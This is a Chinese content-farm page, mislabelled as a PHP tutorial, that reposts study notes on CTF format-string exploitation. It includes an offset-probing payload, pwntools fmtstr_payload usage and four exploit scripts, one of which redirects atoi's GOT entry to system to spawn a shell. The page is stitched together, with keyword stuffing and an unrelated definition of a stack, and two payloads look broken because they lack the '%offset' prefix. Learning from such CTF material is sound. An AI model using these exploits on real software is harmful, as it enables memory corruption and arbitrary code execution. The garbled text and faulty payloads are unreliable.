加入收藏 | 设为首页 | 会员中心 | 我要投稿 应用网_扬州站长网 (https://www.0514zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

php格式化 白塔河冲浪手的博客

发布时间:2022-09-28 15:57:36 所属栏目:PHP教程 来源:
导读:  格式化字符串漏洞学习记录

  CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-CSDN博客_pwn 格式化字符串漏洞

  printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规
  格式化字符串漏洞学习记录
 
  CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-CSDN博客_pwn 格式化字符串漏洞
 
  printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),写成了:printf(pad),此时就存在格式化字符串漏洞。
 
  利用payload来寻找输入字符串到栈顶指针的偏移
 
  aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
  栈是一种特殊的线性表,是一种只允许在表的一端进行插入或删除操作的线性表。表中允许进行插入、删除操作的一端称为栈顶。表的另一端称为栈底。栈顶的当前位置是动态的,对栈顶当前位置的标记称为栈顶指针。当栈中没有数据元素时,称之为空栈。栈的插入操作通常称为进栈或入栈,栈的删除操作通常称为退栈或出栈。
 
  %s 打印地址内容
  %n 写四字节
  fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
 
  offset:格式化字符串的偏移;
 
  writes:需要利用%n写入的数据,采用字典形式,就写成{目标地址: 要写入的数据};要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}
 
  numbwritten:已经输出的字符个数,这里没有,为0,采用默认值即可;#这里是要考虑printf参数的原因
 
  write_size:写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是bytephp格式化,即按hhn写。
 
  fmtstr_payload函数返回的就是payload
 
  exp1:
 
  from pwn import *
  p=process('./pwn')
  dword_804c044=0x0804C044
  payload=fmtstr_payload(10,{dword_804c044:4})
  p.sendlineafter("your name:",payload)
  p.sendlineafter("your passwd",str(4))
  p.interactive()
  exp2:
 
  from pwn import *
  p = process("./pwn")
  elf=ELF('./pwn')
  atoi_got=elf.got['atoi']
  system_plt=elf.plt['system']
  payload=fmtstr_payload(10,{atoi_got:system_plt})
  p.sendline(payload)
  p.sendline('/bin/sh')
  p.interactive()
  exp3:
 
  from pwn import *
  p=process('./pwn')
  dword_addr=0x804C044
  p.recvuntil('your name:')
  payload=p32(dword_addr)+b'$n'
  p.sendline(payload)
  p.recvuntil("your passwd:")
  p.sendline(b'4')
  p.interactive()
  exp4:
 
  from pwn import *
  p=process('./pwn')
  dword_addr=0x804C044
  payload=p32(dword_addr)+b'$s'
  p.sendline(payload)
  p.recvuntil("Hello,")
  p.recv(4)
  number=u32(p.recv(4))
  p.sendline(str(number))
  p.interactive()
 

(编辑:应用网_扬州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!